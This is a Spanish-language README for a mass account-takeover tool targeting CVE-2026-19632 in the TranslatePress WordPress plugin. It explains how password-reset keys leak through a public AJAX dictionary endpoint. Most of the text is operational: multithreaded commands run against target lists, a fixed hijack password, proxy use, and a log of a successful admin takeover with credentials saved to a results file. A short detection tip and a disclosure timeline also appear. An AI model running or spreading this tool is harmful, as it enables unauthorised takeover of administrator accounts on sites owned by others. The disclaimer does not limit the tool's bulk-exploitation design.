
PoC de toma de control de cuenta sin autenticación para TranslatePress Multilingual <= 3.3.1 (WordPress)
Herramienta de toma de control masiva de cuentas para CVE-2026-19632, una toma de control de cuenta no autenticada en el plugin de WordPress TranslatePress – Multilingual (≤ 3.3.1) causada por la divulgación del enlace de restablecimiento de contraseña. Un solo comando por lista de objetivos: la cadena completa se ejecuta automáticamente, y cada toma de control exitosa se escribe en el archivo de salida en el momento en que ocurre.
Aviso legal: solo uso autorizado. Esta herramienta cambia contraseñas reales de cuentas y envía correos reales de restablecimiento de contraseña. Úsala exclusivamente contra sistemas que poseas o para los que tengas permiso escrito explícito de prueba. El autor no es responsable de ningún uso indebido.
| CVE | CVE-2026-19632 |
| Producto | TranslatePress – Multilingual (plugin de WordPress, slug translatepress-multilingual), de Cozmoslabs |
| Afectados | Todas las versiones ≤ 3.3.1 (más de 400.000 instalaciones activas) |
| Parcheado | 3.3.2 (corrección: comprobación de current_user_can en el manejador AJAX público del diccionario) |
| CVSS 3.1 | 9.8 CRÍTICO — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (CNA: Wordfence) |
| CWE | CWE-200 (Exposición de información sensible) + CWE-640 (Mecanismo débil de recuperación de contraseña) |
| Impacto | Toma de control de cuenta de administrador no autenticada |
trp_data incluyendo el nonce de get_translations. Los nonces para visitantes no autenticados son públicos por diseño; el plugin depende de ellos para la seguridad.wp_mail y traduce los correos salientes en la configuración regional del destinatario. Cuando un atacante anónimo activa wp-login.php?action=lostpassword para un administrador cuya configuración regional de perfil es un idioma secundario publicado, el correo de restablecimiento completo — incluyendo la URL en texto plano wp-login.php?action=rp con la clave de restablecimiento válida — se inserta en wp_trp_dictionary_<default>_<locale> de forma síncrona dentro de la solicitud del atacante. SMTP ni siquiera necesita funcionar.trp_get_translations_regular está registrado como wp_ajax_nopriv y, antes de la versión 3.3.2, solo verificaba el nonce público. Cualquiera puede enumerar el diccionario mediante string_ids y extraer la clave.Informe técnico completo: CVE-2026-19632-REPORT.md
cve-2026-19632.pyUn único script autocontenido que ejecuta la cadena completa para cada objetivo en una lista:
readme.txt)trp_data + sondeo del selector de idiomas)url|usuario|contraseña al archivo de salida (flush, seguro para hilos, sin esperar a que termine la ejecución)Robustez incorporada:
--new-password).pip install -r requirements.txt
# ejecución completa contra una lista de objetivos, 20 hilos
python cve-2026-19632.py -l objetivos.txt -o vuln.txt -t 20
# contraseña fija para cada objetivo
python cve-2026-19632.py -l objetivos.txt -o vuln.txt -t 10 --new-password 'Pwn3d!2026'
# a través de un proxy
python cve-2026-19632.py -l objetivos.txt -o vuln.txt -t 10 --proxy http://127.0.0.1:8080
| Opción | Descripción |
|---|---|
-l, --list | Archivo con una URL de objetivo por línea (se permiten comentarios con #) |
-o, --output | Archivo de resultados, formato url|usuario|contraseña (por defecto vuln.txt) |
-t, --threads | Trabajadores concurrentes (por defecto 10) |
--new-password | Contraseña fija para todos los objetivos (por defecto: aleatoria de 14 caracteres por objetivo) |
--timeout | Tiempo de espera por solicitud en segundos (por defecto 15) |
--proxy | Proxy HTTP, p. ej. http://127.0.0.1:8080 |
--no-color | Desactivar salida con colores |
Registro de terminal contra una instancia de laboratorio (WordPress 7.0.4 + TranslatePress 3.3.1, ar por defecto → en_US secundario) — valores saneados:
[00:09:06] [INFO] Herramienta de toma de control CVE-2026-19632 - 3 objetivo(s), 3 hilo(s)...
[00:09:06] [SKIP] http://example.com (sin TranslatePress)
[00:09:07] [INFO] http://TARGET TP encontrado - idiomas: ar->en_US, nonce=a1b2c3d4e5
[00:09:09] [INFO] candidatos de usuario: ['admin', ...]
[00:09:09] [WARN] intento 1/3 fallido (clave caducada)
[00:09:09] [WARN] intento 2/3 fallido (clave caducada)
[00:09:09] [WARN] intento 3/3 fallido (clave caducada)
[00:09:09] [INFO] todas las claves caducadas - activando nuevo restablecimiento...
[00:09:15] [TAKEOVER] http://TARGET ÉXITO - usuario='admin' contraseña='Pwn3d!2026'
[00:09:15] [INFO] hecho. resumen: ERROR=1 | SKIP=1 | TAKEOVER=1
vuln.txt (escrito en vivo, en el momento del éxito):
http://TARGET|admin|Pwn3d!2026
Trata
vuln.txtcomo un artefacto sensible: contiene credenciales en vivo y/o claves de restablecimiento válidas. Añádelo a.gitignore.
No es necesario: un servidor de correo funcional (la URL se almacena dentro del filtro wp_mail, antes del intento de envío).
admin-ajax.php para detectar enumeración secuencial de string_ids con un nonce security público.| Fecha | Evento |
|---|---|
| 2026-08-12 | CVE-2026-19632 reservado |
| 2026-08-13 | TranslatePress 3.3.2 publicado con la corrección |
| 2026-08-25/26 | Wordfence publica el aviso; 8.618 intentos de explotación bloqueados en 24 h |
| 2026-08-28 | Aviso de ThaiCERT |
momopon1415) y el equipo de Wordfence, acreditados en el registro de cambios de la versión 3.3.2.MIT © 2026 ghostpel